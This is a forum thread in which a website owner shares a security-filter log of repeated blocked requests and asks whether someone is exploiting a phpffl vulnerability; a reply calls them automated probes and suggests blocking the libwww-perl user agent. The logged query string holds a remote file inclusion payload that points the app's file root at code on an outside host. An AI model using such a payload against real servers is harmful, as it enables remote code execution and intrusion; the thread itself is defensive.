Geting a TON of Blocked Abuse

daverupe · New Member Joined: Dec 30, 2005 Posts: 24

I'm getting about 10-20 Blocked Abuse emails a day for months now... Is something wrong? Also sometimes the remote address is my IP address (external). I am aware of a posted security vulnerability in a php app called phpffl. The issue has been addressed. Could this be some joker trying to exploit it? Thoughts or recommendations appreciated?

Below is a sample of what I get daily...

====================================

Date & Time: 2008-06-30 20:51:35 EDT GMT -0400
Blocked IP: 82.194.70.*
User ID: Anonymous (1)
Reason: Abuse-Filter
--------------------
User Agent: libwww-perl/5.805
Query String: xxx.xxx.xxx.xxx:8080/modules.php?name=Downloads/phpffl/phpffl_webfiles/program_files/livedraft/admin.php?PHPFFL_FILE_ROOT=http://74.55.118.130/~consult/shop/classes/id.txt??
Get String: xxx.xxx.xxx.xxx:8080/modules.php?name=Downloads/phpffl/phpffl_webfiles/program_files/livedraft/admin.php?PHPFFL_FILE_ROOT=http://74.55.118.130/~consult/shop/classes/id.txt??
Post String: xxx.xxx.xxx.xxx:8080/modules.php
Forwarded For: none
Client IP: none
Remote Address: 82.194.70.164
Remote Port: 43389
Request Method: GET

evaders99 · Posted: Mon Jun 30, 2008 10:35 pm

These are all automated attempts. Basically they try any exploits, whether you are using a specific software/script/module or not.

Block libwww-perl, that will solve probably 80-90% of these. There are posts on the forum how to do this using .htaccess